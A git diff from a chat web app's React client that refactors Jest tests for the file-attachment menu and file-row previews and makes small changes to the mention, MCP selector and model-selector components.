- downloadProgress: 0,
- });
-
- mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: false,
- },
- });
-
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
- });
-
- const renderAttachFileMenu = (props: any = {}) => {
- return render(
-
-
-
-
- ,
- );
+function setupMocks(overrides: { provider?: string } = {}) {
+ const translations: Record = {
+ com_ui_upload_provider: 'Upload to Provider',
+ com_ui_upload_image_input: 'Upload Image',
+ com_ui_upload_ocr_text: 'Upload as Text',
+ com_ui_upload_file_search: 'Upload for File Search',
+ com_ui_upload_code_files: 'Upload Code Files',
+ com_sidepanel_attach_files: 'Attach Files',
+ com_files_upload_sharepoint: 'Upload from SharePoint',
};
-
- describe('Basic Rendering', () => {
- it('should render the attachment button', () => {
- renderAttachFileMenu();
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
- });
-
- it('should be disabled when disabled prop is true', () => {
- renderAttachFileMenu({ disabled: true });
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeDisabled();
- });
-
- it('should not be disabled when disabled prop is false', () => {
- renderAttachFileMenu({ disabled: false });
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).not.toBeDisabled();
- });
+ mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
+ mockUseAgentCapabilities.mockReturnValue({
+ contextEnabled: false,
+ fileSearchEnabled: false,
+ codeEnabled: false,
});
+ mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
+ mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
+ mockUseSharePointFileHandling.mockReturnValue({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ });
+ mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: overrides.provider ?? undefined,
+ });
+}
- describe('Provider Detection Fix - endpointType Priority', () => {
- it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders
- });
+function renderMenu(props: Record = {}) {
+ return render(
+
+
+
+
+ ,
+ );
+}
- renderAttachFileMenu({
- endpoint: 'litellm',
- endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders
- });
+function openMenu() {
+ fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
+}
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+describe('AttachFileMenu', () => {
+ beforeEach(jest.clearAllMocks);
- // With the fix, should show "Upload to Provider" because endpointType is checked first
+ describe('Upload to Provider vs Upload Image', () => {
+ it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
+ setupMocks({ provider: 'Moonshot' });
+ renderMenu({ endpointType: EModelEndpoint.custom });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
});
- it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'my-custom-gateway',
- });
-
- renderAttachFileMenu({
- endpoint: 'my-custom-gateway',
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ it('shows "Upload to Provider" when endpointType is openAI', () => {
+ setupMocks({ provider: EModelEndpoint.openAI });
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should show Upload Image when neither endpointType nor provider support documents', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'unsupported-provider',
- });
+ it('shows "Upload to Provider" when endpointType is anthropic', () => {
+ setupMocks({ provider: EModelEndpoint.anthropic });
+ renderMenu({ endpointType: EModelEndpoint.anthropic });
+ openMenu();
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ });
- renderAttachFileMenu({
- endpoint: 'unsupported-provider',
- endpointType: 'unsupported-endpoint' as any,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+ it('shows "Upload to Provider" when endpointType is google', () => {
+ setupMocks({ provider: Providers.GOOGLE });
+ renderMenu({ endpointType: EModelEndpoint.google });
+ openMenu();
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ });
+ it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
+ setupMocks();
+ renderMenu({ endpointType: EModelEndpoint.agents });
+ openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
});
- it('should fallback to currentProvider when endpointType is undefined', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.openAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.openAI,
- endpointType: undefined,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+ it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
+ setupMocks({ provider: 'unknown-provider' });
+ renderMenu({ endpointType: 'unknown-type' });
+ openMenu();
+ expect(screen.getByText('Upload Image')).toBeInTheDocument();
+ });
+ it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
+ setupMocks({ provider: EModelEndpoint.azureOpenAI });
+ renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should fallback to currentProvider when endpointType is null', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.anthropic,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.anthropic,
- endpointType: null,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
+ setupMocks({ provider: EModelEndpoint.azureOpenAI });
+ renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
+ openMenu();
+ expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
});
- describe('Supported Providers', () => {
- const supportedProviders = [
- { name: 'OpenAI', endpoint: EModelEndpoint.openAI },
- { name: 'Anthropic', endpoint: EModelEndpoint.anthropic },
- { name: 'Google', endpoint: EModelEndpoint.google },
- { name: 'Custom', endpoint: EModelEndpoint.custom },
- ];
-
- supportedProviders.forEach(({ name, endpoint }) => {
- it(`should show Upload to Provider for ${name}`, () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: endpoint,
- });
-
- renderAttachFileMenu({
- endpoint,
- endpointType: endpoint,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ describe('agent provider resolution scenario', () => {
+ it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
+ setupMocks({ provider: 'Moonshot' });
+ renderMenu({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.custom,
});
- });
-
- it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.azureOpenAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.azureOpenAI,
- endpointType: EModelEndpoint.azureOpenAI,
- useResponsesApi: true,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.azureOpenAI,
+ it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
+ setupMocks();
+ renderMenu({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
});
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.azureOpenAI,
- endpointType: EModelEndpoint.azureOpenAI,
- useResponsesApi: false,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
+ openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
});
+ describe('Basic Rendering', () => {
+ it('renders the attachment button', () => {
+ setupMocks();
+ renderMenu();
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+ });
+
+ it('is disabled when disabled prop is true', () => {
+ setupMocks();
+ renderMenu({ disabled: true });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
+ });
+
+ it('is not disabled when disabled prop is false', () => {
+ setupMocks();
+ renderMenu({ disabled: false });
+ expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
+ });
+ });
+
describe('Agent Capabilities', () => {
- it('should show OCR Text option when context is enabled', () => {
+ it('shows OCR Text option when context is enabled', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: false,
codeEnabled: false,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
+ expect(screen.getByText('Upload as Text')).toBeInTheDocument();
});
- it('should show File Search option when enabled and allowed by agent', () => {
+ it('shows File Search option when enabled and allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: false,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
});
- it('should NOT show File Search when enabled but not allowed by agent', () => {
+ it('does NOT show File Search when enabled but not allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
-
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
});
- it('should show Code Files option when enabled and allowed by agent', () => {
+ it('shows Code Files option when enabled and allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: false,
codeEnabled: true,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: true,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
- it('should show all options when all capabilities are enabled', () => {
+ it('shows all options when all capabilities are enabled', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: true,
codeEnabled: true,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: true,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+ expect(screen.getByText('Upload as Text')).toBeInTheDocument();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
});
describe('SharePoint Integration', () => {
- it('should show SharePoint option when enabled', () => {
+ it('shows SharePoint option when enabled', () => {
+ setupMocks();
mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: true,
- },
+ data: { sharePointFilePickerEnabled: true },
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
});
- it('should NOT show SharePoint option when disabled', () => {
- mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: false,
- },
- });
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ it('does NOT show SharePoint option when disabled', () => {
+ setupMocks();
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
});
});
describe('Edge Cases', () => {
- it('should handle undefined endpoint and provider gracefully', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
-
- renderAttachFileMenu({
- endpoint: undefined,
- endpointType: undefined,
- });
-
+ it('handles undefined endpoint and provider gracefully', () => {
+ setupMocks();
+ renderMenu({ endpoint: undefined, endpointType: undefined });
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
fireEvent.click(button);
-
- // Should show Upload Image as fallback
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
- it('should handle null endpoint and provider gracefully', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: null,
- });
-
- renderAttachFileMenu({
- endpoint: null,
- endpointType: null,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
+ it('handles null endpoint and provider gracefully', () => {
+ setupMocks();
+ renderMenu({ endpoint: null, endpointType: null });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
- it('should handle missing agentId gracefully', () => {
- renderAttachFileMenu({
- agentId: undefined,
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
+ it('handles missing agentId gracefully', () => {
+ setupMocks();
+ renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
- it('should handle empty string agentId', () => {
- renderAttachFileMenu({
- agentId: '',
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
- });
- });
-
- describe('Google Provider Special Case', () => {
- it('should use image_document_video_audio file type for Google provider', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.google,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.google,
- endpointType: EModelEndpoint.google,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- const uploadProviderButton = screen.getByText('Upload to Provider');
- expect(uploadProviderButton).toBeInTheDocument();
-
- // Click the upload to provider option
- fireEvent.click(uploadProviderButton);
-
- // The file input should have been clicked (indirectly tested through the implementation)
- });
-
- it('should use image_document file type for non-Google providers', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.openAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.openAI,
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- const uploadProviderButton = screen.getByText('Upload to Provider');
- expect(uploadProviderButton).toBeInTheDocument();
- fireEvent.click(uploadProviderButton);
-
- // Implementation detail - image_document type is used
- });
- });
-
- describe('Regression Tests', () => {
- it('should not break the previous behavior for direct provider attachments', () => {
- // When using a direct supported provider (not through a gateway)
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.anthropic,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.anthropic,
- endpointType: EModelEndpoint.anthropic,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- });
-
- it('should maintain correct priority when both are supported', () => {
- // Both endpointType and provider are supported, endpointType should be checked first
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.google,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.google,
- endpointType: EModelEndpoint.openAI, // Different but both supported
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- // Should still work because endpointType (openAI) is supported
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ it('handles empty string agentId', () => {
+ setupMocks();
+ renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
});
});
diff --git a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
index 90c1c3a7b5..ccfa19ffc8 100644
--- a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
@@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({
logger: {
log: jest.fn(),
},
+ getCachedPreview: jest.fn(() => undefined),
}));
jest.mock('../Image', () => {
@@ -95,7 +96,7 @@ describe('FileRow', () => {
};
describe('Image URL Selection Logic', () => {
- it('should use filepath instead of preview when progress is 1 (upload complete)', () => {
+ it('should prefer cached preview over filepath when upload is complete', () => {
const file = createMockFile({
file_id: 'uploaded-file',
preview: 'blob:http://localhost:3080/temp-preview',
@@ -109,8 +110,7 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('/images/user123/uploaded-file__image.png');
- expect(imageUrl).not.toContain('blob:');
+ expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
});
it('should use preview when progress is less than 1 (uploading)', () => {
@@ -147,7 +147,7 @@ describe('FileRow', () => {
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
});
- it('should use filepath when both preview and filepath exist and progress is exactly 1', () => {
+ it('should prefer preview over filepath when both exist and progress is 1', () => {
const file = createMockFile({
file_id: 'complete-file',
preview: 'blob:http://localhost:3080/old-blob',
@@ -161,7 +161,7 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('/images/user123/complete-file__image.png');
+ expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
});
});
@@ -284,7 +284,7 @@ describe('FileRow', () => {
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
expect(urls).toContain('blob:http://localhost:3080/preview-1');
- expect(urls).toContain('/images/user123/file-2__image.png');
+ expect(urls).toContain('blob:http://localhost:3080/preview-2');
});
it('should deduplicate files with the same file_id', () => {
@@ -321,10 +321,10 @@ describe('FileRow', () => {
});
});
- describe('Regression: Blob URL Bug Fix', () => {
- it('should NOT use revoked blob URL after upload completes', () => {
+ describe('Preview Cache Integration', () => {
+ it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
const file = createMockFile({
- file_id: 'regression-test',
+ file_id: 'cache-test',
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
filepath:
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
@@ -337,8 +337,24 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
+ expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
+ });
- expect(imageUrl).not.toContain('blob:');
+ it('should fall back to filepath when no preview exists', () => {
+ const file = createMockFile({
+ file_id: 'no-preview',
+ preview: undefined,
+ filepath:
+ '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
+ progress: 1,
+ });
+
+ const filesMap = new Map();
+ filesMap.set(file.file_id, file);
+
+ renderFileRow(filesMap);
+
+ const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe(
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
);
diff --git a/client/src/components/Chat/Input/MCPSelect.tsx b/client/src/components/Chat/Input/MCPSelect.tsx
index 278e603db0..a5356f5094 100644
--- a/client/src/components/Chat/Input/MCPSelect.tsx
+++ b/client/src/components/Chat/Input/MCPSelect.tsx
@@ -11,7 +11,7 @@ import { useHasAccess } from '~/hooks';
import { cn } from '~/utils';
function MCPSelectContent() {
- const { conversationId, mcpServerManager } = useBadgeRowContext();
+ const { conversationId, storageContextKey, mcpServerManager } = useBadgeRowContext();
const {
localize,
isPinned,
@@ -128,7 +128,11 @@ function MCPSelectContent() {
{configDialogProps && (
-
+
)}
>
);
diff --git a/client/src/components/Chat/Input/MCPSubMenu.tsx b/client/src/components/Chat/Input/MCPSubMenu.tsx
index ca547ca1f7..b0b8fad1bb 100644
--- a/client/src/components/Chat/Input/MCPSubMenu.tsx
+++ b/client/src/components/Chat/Input/MCPSubMenu.tsx
@@ -15,7 +15,7 @@ interface MCPSubMenuProps {
const MCPSubMenu = React.forwardRef(
({ placeholder, ...props }, ref) => {
const localize = useLocalize();
- const { mcpServerManager } = useBadgeRowContext();
+ const { storageContextKey, mcpServerManager } = useBadgeRowContext();
const {
isPinned,
mcpValues,
@@ -106,7 +106,9 @@ const MCPSubMenu = React.forwardRef(
- {configDialogProps &&
}
+ {configDialogProps && (
+
+ )}
);
},
diff --git a/client/src/components/Chat/Input/Mention.tsx b/client/src/components/Chat/Input/Mention.tsx
index 2defcc7623..34bddba519 100644
--- a/client/src/components/Chat/Input/Mention.tsx
+++ b/client/src/components/Chat/Input/Mention.tsx
@@ -2,20 +2,18 @@ import { useState, useRef, useEffect } from 'react';
import { useCombobox } from '@librechat/client';
import { AutoSizer, List } from 'react-virtualized';
import { EModelEndpoint } from 'librechat-data-provider';
-import type { TConversation } from 'librechat-data-provider';
import type { MentionOption, ConvoGenerator } from '~/common';
import type { SetterOrUpdater } from 'recoil';
+import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
import useSelectMention from '~/hooks/Input/useSelectMention';
-import { useLocalize, TranslationKeys } from '~/hooks';
import { useAssistantsMapContext } from '~/Providers';
import useMentions from '~/hooks/Input/useMentions';
import { removeCharIfLast } from '~/utils';
import MentionItem from './MentionItem';
-const ROW_HEIGHT = 40;
+const ROW_HEIGHT = 44;
export default function Mention({
- conversation,
setShowMentionPopover,
newConversation,
textAreaRef,
@@ -23,7 +21,6 @@ export default function Mention({
placeholder = 'com_ui_mention',
includeAssistants = true,
}: {
- conversation: TConversation | null;
setShowMentionPopover: SetterOrUpdater;
newConversation: ConvoGenerator;
textAreaRef: React.MutableRefObject;
@@ -32,6 +29,7 @@ export default function Mention({
includeAssistants?: boolean;
}) {
const localize = useLocalize();
+ const getConversation = useGetConversation(0);
const assistantsMap = useAssistantsMapContext();
const {
options,
@@ -45,9 +43,9 @@ export default function Mention({
const { onSelectMention } = useSelectMention({
presets,
modelSpecs,
- conversation,
assistantsMap,
endpointsConfig,
+ getConversation,
newConversation,
});
diff --git a/client/src/components/Chat/Input/MentionItem.tsx b/client/src/components/Chat/Input/MentionItem.tsx
index fcfb22c312..6c978240ee 100644
--- a/client/src/components/Chat/Input/MentionItem.tsx
+++ b/client/src/components/Chat/Input/MentionItem.tsx
@@ -25,15 +25,16 @@ export default function MentionItem({
}: MentionItemProps) {
return (
diff --git a/client/src/components/Chat/Input/PromptsCommand.tsx b/client/src/components/Chat/Input/PromptsCommand.tsx
index 2ea36a5236..1740ed43a2 100644
--- a/client/src/components/Chat/Input/PromptsCommand.tsx
+++ b/client/src/components/Chat/Input/PromptsCommand.tsx
@@ -4,8 +4,8 @@ import { Spinner, useCombobox } from '@librechat/client';
import { useSetRecoilState, useRecoilValue } from 'recoil';
import type { TPromptGroup } from 'librechat-data-provider';
import type { PromptOption } from '~/common';
-import { removeCharIfLast, detectVariables } from '~/utils';
import VariableDialog from '~/components/Prompts/Groups/VariableDialog';
+import { removeCharIfLast, detectVariables } from '~/utils';
import { usePromptGroupsContext } from '~/Providers';
import MentionItem from './MentionItem';
import { useLocalize } from '~/hooks';
@@ -48,7 +48,7 @@ const PopoverContainer = memo(
},
);
-const ROW_HEIGHT = 40;
+const ROW_HEIGHT = 44;
function PromptsCommand({
index,
diff --git a/client/src/components/Chat/Input/SendButton.tsx b/client/src/components/Chat/Input/SendButton.tsx
index 14c21f0586..a07e574928 100644
--- a/client/src/components/Chat/Input/SendButton.tsx
+++ b/client/src/components/Chat/Input/SendButton.tsx
@@ -41,7 +41,8 @@ const SubmitButton = React.memo(
const SendButton = React.memo(
forwardRef((props: SendButtonProps, ref: React.ForwardedRef
) => {
const data = useWatch({ control: props.control });
- return ;
+ const content = data?.text?.trim();
+ return ;
}),
);
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
index eac3bb200c..c6f2416d78 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
@@ -1,6 +1,9 @@
-import React, { createContext, useContext, useMemo } from 'react';
+import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
+import { useRecoilValue } from 'recoil';
import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
-import { useChatContext } from '~/Providers/ChatContext';
+import type { ConvoGenerator } from '~/common';
+import { useGetConversation, useNewConvo } from '~/hooks';
+import store from '~/store';
interface ModelSelectorChatContextValue {
endpoint?: EModelEndpoint | null;
@@ -8,8 +11,8 @@ interface ModelSelectorChatContextValue {
spec?: string | null;
agent_id?: string | null;
assistant_id?: string | null;
- conversation: TConversation | null;
- newConversation: ReturnType['newConversation'];
+ getConversation: () => TConversation | null;
+ newConversation: ConvoGenerator;
}
const ModelSelectorChatContext = createContext(
@@ -17,20 +20,34 @@ const ModelSelectorChatContext = createContext(
+ (params) => newConversationRef.current(params),
+ [],
+ );
/** Context value only created when relevant conversation properties change */
const contextValue = useMemo(
() => ({
- endpoint: conversation?.endpoint,
- model: conversation?.model,
- spec: conversation?.spec,
- agent_id: conversation?.agent_id,
- assistant_id: conversation?.assistant_id,
- conversation,
+ model,
+ spec,
+ agent_id,
+ endpoint,
+ assistant_id,
+ getConversation,
newConversation,
}),
- [conversation, newConversation],
+ [endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
);
return (
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
index 26d476e85d..5a51db6ce9 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
@@ -1,5 +1,5 @@
import debounce from 'lodash/debounce';
-import React, { createContext, useContext, useState, useMemo } from 'react';
+import React, { createContext, useContext, useState, useMemo, useCallback } from 'react';
import { EModelEndpoint, isAgentsEndpoint, isAssistantsEndpoint } from 'librechat-data-provider';
import type * as t from 'librechat-data-provider';
import type { Endpoint, SelectedValues } from '~/common';
@@ -8,8 +8,9 @@ import {
useSelectorEffects,
useKeyDialog,
useEndpoints,
+ useLocalize,
} from '~/hooks';
-import { useAgentsMapContext, useAssistantsMapContext } from '~/Providers';
+import { useAgentsMapContext, useAssistantsMapContext, useLiveAnnouncer } from '~/Providers';
import { useGetEndpointsQuery, useListAgentsQuery } from '~/data-provider';
import { useModelSelectorChatContext } from './ModelSelectorChatContext';
import useSelectMention from '~/hooks/Input/useSelectMention';
